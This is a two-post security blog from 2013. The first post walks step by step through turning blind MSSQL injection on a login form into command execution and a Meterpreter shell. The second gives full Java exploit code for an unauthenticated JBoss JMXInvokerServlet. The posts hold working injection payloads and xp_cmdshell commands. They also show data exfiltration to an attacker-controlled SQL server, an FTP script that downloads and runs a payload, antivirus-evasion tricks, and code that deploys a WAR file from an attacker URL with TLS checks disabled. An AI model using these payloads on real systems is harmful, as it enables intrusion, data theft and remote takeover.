Wednesday, September 25, 2013

Blind SQLi -> SQLi -> Command Execution -> Meterpreter - Based On A True Story

This is going to be a long one. For a quick rundown, see the video of this process from start-finish at http://www.youtube.com/watch?v=XIZyxVzERXg <Ugh - Had to take the video down for censoring, nothing interesting, just some machinenames that I can't post. Tried editing with OpenShot and was too much work, anyone know an easier way?>

Blind SQLi on MSSQL is something I run into once in a while. In a recent test, I took the extra time to take it all the way to a Meterpreter shell manually and would like to document that process here. It involved one new trick I hadn't seen before, so here we go.

The SQL injection was on the UserName parameter, the following is an example of a sanitized POST request:


POST /login.aspx HTTP/1.1
Host: XXXXXXXXXX
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: XXXXXXXXXX
Cookie: ASP.NET_SessionId=YYYYYYYYYYYYY
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1337
UserName=test&Password=test&SUBMIT1=Sign+In

Step 1 - Find The Injection Point For Stacked Queries

First we're going to want to confirm the SQL injection and figure out where to inject our own stacked queries. Stacked queries are just multiple queries appended together separated by semi-colons. For example, suppose the backend code for the SQL statement for this function looked like this:

query = "SELECT * FROM Users WHERE userName = '"+uName+"' AND password ='"+password+"'";

In this case, we would set the UserName parameter to "test'--" which would result in the following query being constructed:

query = "SELECT * FROM Users WHERE userName = 'test'--AND password = 'testpassword'

Notice that the highlighted section is commented out. Sometimes things are a little more complicated, as was true in this example. Suppose the code creating the query looked like this:

query = "SELECT * FROM (SELECT * FROM Users JOIN Names ON Users.userId = Names.userId WHERE Users.userName = '"+uName+"' AND password ='"+password+"'") as tempTable;

In this case, we would need to set our UserName parameter to "test')--" so that we would get the following:

query = "SELECT * FROM (SELECT * FROM Users JOIN Names ON Users.userId = Names.userId WHERE Users.userName = 'test')--' AND password ='"+password+"'") as tempTable;


To find out if we've got it right, we need to create a stacked query that will have a noticeable result, a great way to do this is to introduce a delay. Consider setting UserName = "test'); WAITFOR DELAY '000:00:20';--". If everything was done right, we should see a 20s delay in the response and can move on to the next step! You may need to add more braces or quotes, try to imagine what the query may look like.

Step 2 - Gaining Sight

Blind SQL injection can be extremely frustrating to work with. The following technique was jacked from http://www.secforce.com/blog/2013/01/stacked-based-mssql-blind-injection-bypass-methodology/
and works very well in many cases.

It depends on the DB user having a certain set of privileges. They either need to be able to run the sp_configure command, or "Ad Hoc Distributed Queries". Issue the following 6 commands, in this order, to attempt to enable "Ad Hoc Distributed Queries" (and while we're at it, xp_cmbshell). You'll want to put these commands in the highlighted section of the UserName parameter as follows:

UserName = "test');<SQL TO INJECT>;--"

exec sp_configure 'show advanced options', 1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries', 1
reconfigure
exec sp_configure xp_cmdshell, 1
reconfigure

If all went well we should now be able to cause the remote victim database to dump query results back to a local instance of MSSQL that we (the attackers) are running.

Testing For Success

It's very important at this point to test whether the results of the sp_configure commands succeeded. I've developed a quick and easy technique for doing this that has worked great for me many times. It involves setting up DNSCat (http://www.skullsecurity.org/wiki/index.php/Dnscat) on a server. You need a domain and have to configure your machine running DNSCat to be the authoritative nameserver for some subdomain on it.

On your server run "./dnscat --listen"

Through the SQL Injection run the command:

exec xp_cmdshell 'ping test123.dns.yourdomain.com'

The HTTP parameter will look like UserName = "test');exec xp_cmdshell 'ping test123.dns.yourdomain.com'' ;--"

You should now see DNS lookups coming to the console in dnscat for 'test123'. This is a great way to test command execution since most organizations will allow recursive DNS lookups outbound, even when other filters are in place, and the ping/host commands are fairly universal.

At this point you have blind command execution and can skip straight to Step 5, or continue on with the following.

Configuring the Local DB

To do this, you'll need to install Microsoft SQL Server Express https://www.microsoft.com/en-us/sqlserver/editions/2012-editions/express.aspx

Once installed, you need to set up and configure the database to accept remote connections with SQL server authentication. This was a bit of a headache to get right for me, so I'll outline some of the key steps:

1) Install SQL server express

2) Set up a database by running the following commands in SQL server management studio
  • CREATE DATABASE output_db;
  • CREATE TABLE output_db..output ( result VARCHAR(MAX) );
3) Configure the database listener to accept remote connections. This is done by right clicking on your DB listener in SQL server management studio, select "Properties". Under "Security" you must allow "SQL Server and Windows Authentication". Under "Connections" you must tick "Allow Remote Connections"

4) Create a database user. This is done by expanding the tree for your DB Listener in Management Studio and selecting "Security -> Logins", right click on Logins and add a new SQL user.

5) In the Start Menu, Under SQL Server, Configuration Tools, you must open the SQL Server Configuration Manager. Under "SQL Server Network Configuration", double click on "Protocols for SQL Express", then double click on "TCP/IP". Under "IP Addresses" tab, at the bottom there is an "IP ALL" section. Set the "TCP Port" value to "1433"

6) Disable Windows Firewall and set up any port forwarding you need on your router. You just need to forward 1433/tcp.

7) Restart the database through the management console.

8) Do a netstat -an, look for a listener on port 1433

Testing Locally

Chances are you messed something up by this point. I recommend testing your MSSQL and network configuration locally. Create an table called output with a single column of type "text". Open up a new query in SQL server management studio and try the following (replace highlighted parameters):

INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) SELECT @@version

If successful this will insert your MSSQL Server version into the "output" table. Debug this until it works.

Exfiltrating Data

Now you're all set to exfiltrate data! Just inject the above command into the following again, replace <SQL TO INJECT> with INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) SELECT @@version


Example:
UserName = "test');INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) SELECT @@version;--"

If you get the remote DB version back in your local output table, you're in luck! You can now run any query!

Step 3 - Command Execution

This is the interesting part where I deviate a bit from what I've seen before. Above we enabled command execution with the sp_reconfigure command, now we would like to run a command and get it's output. Consider injecting the following into the <SQL TO INJECT> portion of our payload:

create table #output (output varchar(255) null);insert #output exec xp_cmdshell 'dir C:\'; INSERT INTO OPENROWSET('SQLOLEDB','<Your External IP>';'sqlUserName';'weakPassword',output_db.dbo.output) select * from #output where output is not null; drop table #output

This creates a temporary table called #output, sticks the results of our shell command (in this case 'dir') into it, then moves the contents of that table up to our local database server, and finally drops the temporary table! Full remote command execution!

Step 4 - Meterpreter

The fun doesn't really start until you've dropped your Meterpreter shell. There are a number of ways to do this. This time I chose an FTP script but have a few other interesting ideas as well.

The FTP method which is quite simple, is to just host your payload on an FTP server, then use command execution to download and execute it. I usually just run an anonymous vsftp server and then do the following in BackTrack:

Generate the payload:
./msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=<YOUR IP> LPORT=4444 -f exe > /srv/ftp/payload.exe

Start your meterpreter handler:
./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=<YOUR IP> LPORT=4444 E

Now we can use command execution to grab and execute the payload. Run the following commands on the victim machine:

Create an FTP script:
echo open 192.168.14.81> ftp.txt     
echo <USERNAME>>> ftp.txt
echo <PASSWORD>>> ftp.txt
echo bin>> ftp.txt
echo get payload.exe>> ftp.txt
echo bye>> ftp.txt

Execute the script, download the payload:
ftp -s:ftp.txt

Run the payload:
payload.exe

Step 5 - Advanced Payload Delivery

So it didn't work... You've confirmed that you have blind command execution (see Step 2 - Testing for Success), but you don't have a shell.The victim could be filtering egress traffic, A/V could be mucking things up, who knows. Luckily I have some other interesting evasion strategies that I'll get into some light detail on. For an example see the video referenced at the beginning of this post.

Use the BackTrack "exe2bat.exe" utility to convert a stealthy payload into a batch file. I use a payload that tunnels a cmd shell over DNS requests. I use a custom version of dnscat (http://www.skullsecurity.org/wiki/index.php/Dnscat) with some minor code changes to improve stability and hardcode the IP address.


Rather than a custom payload, you can also use a Meterpreter payload in VBScript format. This is my favorite method and the first thing I usually try. Luckily we have Metasploit Pro and the dynamic payloads generated by it are GREAT at A/V evasion. Metasploit has a script to convert an executable into a VBScript file, I think it's called exe2vbs.rb. Once you have a VBScript file, you need to actually get it on the remote machine. I just create a batch file to do this similar to what 'exe2bat' does. At the beginning of each line in the VBS add "echo '" and at the end of each line add "' > notAPayload.vbs". Also you'll probably want to edit the VBS file that Metasploit generates. I like to hardcode the location where it creates the executable so I know where it is and somewhere that I know should be world-writable. This is all very hand-wavy, - if you have questions about this feel free to email me, or watch the video.

Whether you use exe2bat or exe2vbs and turn it into a batch file, the next step is basically the same. You want to run the batch file on the remote machine to restore your payload to executable format. Just import the batch file into BURP Intruder, set the target field to our <SQL TO INJECT> section of the parameter, set BURP to run in single threaded mode (maybe setup a little delay for good measure), and let it rip! This should get your executable payload to the victim purely through command execution and relatively painlessly. From here you can just run it.

For examples of this whole process from start-finish, see the 10 minute, audio less video referenced up top.

Friday, September 20, 2013

JBOSS JMXInvokerServlet Exploit

Recently ran into a JMXInvokerServlet that didn't require authentication. These generally have a URL that looks something like:

http(s)://localhost:8080/invoker/JMXInvokerServlet

While there is a Metasploit module for this, it wasn't working for various reasons. Inspired by Matasano (http://www.matasano.com/research/OWASP3011_Luca.pdf), I wrote up some custom exploit code for this.

Make sure you modify the appropriate strings in JBOSSExploit.java:

//Parameters you need to configure
int hash = 647347722;
String jmxUrl = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";
String attackerUrl = "http://externalhost.com/test.war";
String payloadSaveLocation = "testPayload.out";

hash -> This is specific to the version of JBOSS. It's the entry that identifies jboss.jmx:name=Invoker. For my version it was 647347722. Metasploit modules have a different number here and is one of the reasons it was failing (you'll get an exception back from JBOSS if this is wrong).

jmxURL -> Self explanatory

attackerURL -> Host a malicious WAR file here and watch your apache logs

payloadSaveLocation -> This is useful if you want to proxy through BURP or use the metasploit module to send the payload rather than this hacky Java code. The payload object will be saved to disk. You can then overwrite /usr/share/metasploit-framework/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin with the payload generated here. When you run the jmxinvoker metasploit module, it will use this new payload and you can see what's going on by proxying MSP through BURP.

To Compile (make sure you have the JAR files, they come with JBOSS):
javac -cp jboss.jar:jbossall-client.jar TrustModifier.java JBOSSExploit.java

To Run:
java -cp jboss.jar:jbossall-client.jar JBOSSExploit

To finish it off, just access the URL where your malicious WAR file was deployed e.g: http(s)://localhost:8080/test/

And of course, the code:

JBOSSExploit.java:

import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;

import org.jboss.invocation.InvocationException;
import org.jboss.invocation.MarshalledValue;
import org.jboss.invocation.MarshalledInvocation;


public class JBOSSExploit {

public static void main(String[] args) throws Exception {
//Parameters you need to configure
int hash = 647347722;
String jmxUrl = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";
String attackerUrl = "http://localhost/test.war";
String payloadSaveLocation = "testPayload.out";

MarshalledInvocation payload = new MarshalledInvocation();
payload.setObjectName(new Integer(hash));
Class<?> c = Class.forName("javax.management.MBeanServerConnection");
Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);
payload.setMethod(method);

Object myObj[] = new Object[4];
myObj[0] = new javax.management.ObjectName("jboss.system:service=MainDeployer");
myObj[1] = new String("deploy");
myObj[2] = new String[]{attackerUrl};
myObj[3] = new String[]{"java.lang.String"};
payload.setArguments(myObj);
        FileOutputStream fileOut = new FileOutputStream(payloadSaveLocation);
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        out.writeObject(payload);
        out.close();
        fileOut.close();
        System.out.printf("Payload saved in "+ payloadSaveLocation);
     

        String type = "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue";
        URL u = new URL(jmxUrl);
        HttpURLConnection conn = (HttpURLConnection) u.openConnection();
        TrustModifier.relaxHostChecking(conn);
        conn.setDoOutput(true);
        conn.setRequestMethod( "POST" );
        conn.setRequestProperty( "Content-Type", type );
        conn.setRequestProperty( "Content-Length","10000" );
        OutputStream os = conn.getOutputStream();
        new ObjectOutputStream(os).writeObject(payload);
     
        ObjectInputStream in = new ObjectInputStream(conn.getInputStream());
        Object obj = in.readObject();
        if(obj.getClass().toString().equals("class org.jboss.invocation.MarshalledValue")){
        System.out.println("\nGot MarshalledValue response");
        MarshalledValue mv = (MarshalledValue)obj;
        Object mvContent = mv.get();
        if(mvContent != null)
        {
        System.out.println(mvContent.getClass().toString());
        if(mvContent.getClass().toString().equals("class org.jboss.invocation.InvocationException")){
        System.out.println("Invocation Exception Received");
        InvocationException ie = (InvocationException)mvContent;
        System.out.println(ie.getMessage());
        ie.printStackTrace();
        }
        }
        else
        {
        System.out.println("Success! Look for the deployed WAR.");
        }
        }
     
   
     
}

}

TrustModifier.java


import java.net.*;
import javax.net.ssl.*;
import java.security.*;
import java.security.cert.*;

public class TrustModifier {
   private static final TrustingHostnameVerifier
      TRUSTING_HOSTNAME_VERIFIER = new TrustingHostnameVerifier();
   private static SSLSocketFactory factory;

   /** Call this with any HttpURLConnection, and it will
    modify the trust settings if it is an HTTPS connection. */
   public static void relaxHostChecking(HttpURLConnection conn)
       throws KeyManagementException, NoSuchAlgorithmException, KeyStoreException {

      if (conn instanceof HttpsURLConnection) {
         HttpsURLConnection httpsConnection = (HttpsURLConnection) conn;
         SSLSocketFactory factory = prepFactory(httpsConnection);
         httpsConnection.setSSLSocketFactory(factory);
         httpsConnection.setHostnameVerifier(TRUSTING_HOSTNAME_VERIFIER);
      }
   }

   static synchronized SSLSocketFactory
            prepFactory(HttpsURLConnection httpsConnection)
            throws NoSuchAlgorithmException, KeyStoreException, KeyManagementException {

      if (factory == null) {
         SSLContext ctx = SSLContext.getInstance("TLS");
         ctx.init(null, new TrustManager[]{ new AlwaysTrustManager() }, null);
         factory = ctx.getSocketFactory();
      }
      return factory;
   }
 
   private static final class TrustingHostnameVerifier implements HostnameVerifier {
      public boolean verify(String hostname, SSLSession session) {
         return true;
      }
   }

   private static class AlwaysTrustManager implements X509TrustManager {
      public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public X509Certificate[] getAcceptedIssuers() { return null; }    
   }
 
}